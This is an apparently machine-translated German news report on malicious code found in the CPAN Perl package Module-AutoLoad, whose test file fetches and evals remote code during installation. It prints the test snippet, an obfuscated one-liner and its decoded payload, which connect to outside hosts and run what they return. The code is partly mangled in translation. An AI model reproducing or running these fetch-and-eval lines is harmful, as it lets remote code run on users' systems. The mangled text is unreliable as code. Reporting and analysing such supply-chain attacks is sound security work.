Im Perl-Paket Module-AutoLoad wurde schadhafter Code entdeckt

Im ĂŒber das CPAN-Verzeichnis verbreiteten Perl-Paket Module-AutoLoad, das fĂŒr die automatische Ablage von CPAN-Modulen zur Laufzeit vorgesehen ist, entdeckt schadhafter Code. Eine schadhafte EinfĂŒgung wurde gefunden im Testcode 05_rcx.t, der seit 2011 mitgeliefert wird.
Bemerkenswert ist, dass bereits 2016 Fragen zur Ablage von fragwĂŒrdigem Code aufkamen Stackoverflow .

Die schadhafte AktivitĂ€t besteht darin, zu versuchen, Code von einem externen Server (http://r.cx:1/) wĂ€hrend der AusfĂŒhrung des Test-Sets, das beim Installieren des Moduls gestartet wird, zu laden und auszufĂŒhren. Es wird angenommen, dass der anfangs von einem externen Server geladene Code nicht schĂ€dlich war, aber jetzt wird die Anfrage auf die Domain ww.limera1n.com umgeleitet, die ihren eigenen Code zum AusfĂŒhren bereitstellt.

FĂŒr die Organisation der Ablage wird im Datei 05_rcx.t der folgende Code verwendet:

my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;

Der angegebene Code fĂŒhrt das Skript ../contrib/RCX.pl, dessen Inhalt auf die Zeile lautet:

use lib do{eval&&botstrap(„RCX“)if$b=new IO::Socket::INET 82.46.99.88.}:1“};

Dieses Skript lĂ€dt verwirrten mit Hilfe des Dienstes perlobfuscator.com Code von dem externen Host r.cx (die Codesymbole 82.46.99.88 entsprechen dem Text „R.cX“) und fĂŒhrt ihn im eval-Block aus.

$ perl -MIO::Socket -e’$b=new IO::Socket::INET 82.46.99.88.}:1“; print ;’
eval unpack u=>q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DE
.}

Nach dem Entpacken wird letztendlich folgendes ausgefĂŒhrt Code:

print{$b=new IO::Socket::INET„ww.limera1n.com:80“}„GET /iJailBreak
„;evalor return warn$@while$b;1

Der problematische Paket wurde derzeit aus dem Repository PAUSE (Perl Authors Upload Server) entfernt, und das Benutzerkonto des Modulautors wurde gesperrt. Dabei bleibt das Modul vorerst verfĂŒgbar im Archiv von MetaCPAN und kann direkt von MetaCPAN mit Hilfe einiger Tools, wie cpanminus, installiert werden. Es wird angemerkt, dass das Paket nicht weit verbreitet war.

Interessanterweise hat sich die Diskussion beteiligt und der Autor des Moduls, der die Informationen widerlegte, dass schadhafter Code nach dem Hack seiner Website „r.cx“ eingefĂŒgt wurde, erklĂ€rte, dass er sich einfach amĂŒsierte und perlobfuscator.com nicht zum Verstecken von etwas verwendete, sondern um die GrĂ¶ĂŸe des Codes zu reduzieren und das Kopieren ĂŒber die Zwischenablage zu erleichtern. Die Wahl des Funktionsnamens „botstrap“ wurde damit begrĂŒndet, dass dieses Wort „wie bot klingt und kĂŒrzer als bootstrap ist“. Der Autor des Moduls versicherte ebenfalls, dass die entdeckten Manipulationen keine schĂ€dlichen Handlungen ausfĂŒhren, sondern lediglich das Laden und AusfĂŒhren von Code ĂŒber TCP demonstrieren.

Quelle: opennet.ru

ZuverlĂ€ssiges Hosting fĂŒr Websites mit DDoS-Schutz kaufen, VPS VDS Server đŸ”„ ZuverlĂ€ssiges Hosting fĂŒr Websites mit DDoS-Schutz kaufen, VPS VDS Server - ProHoster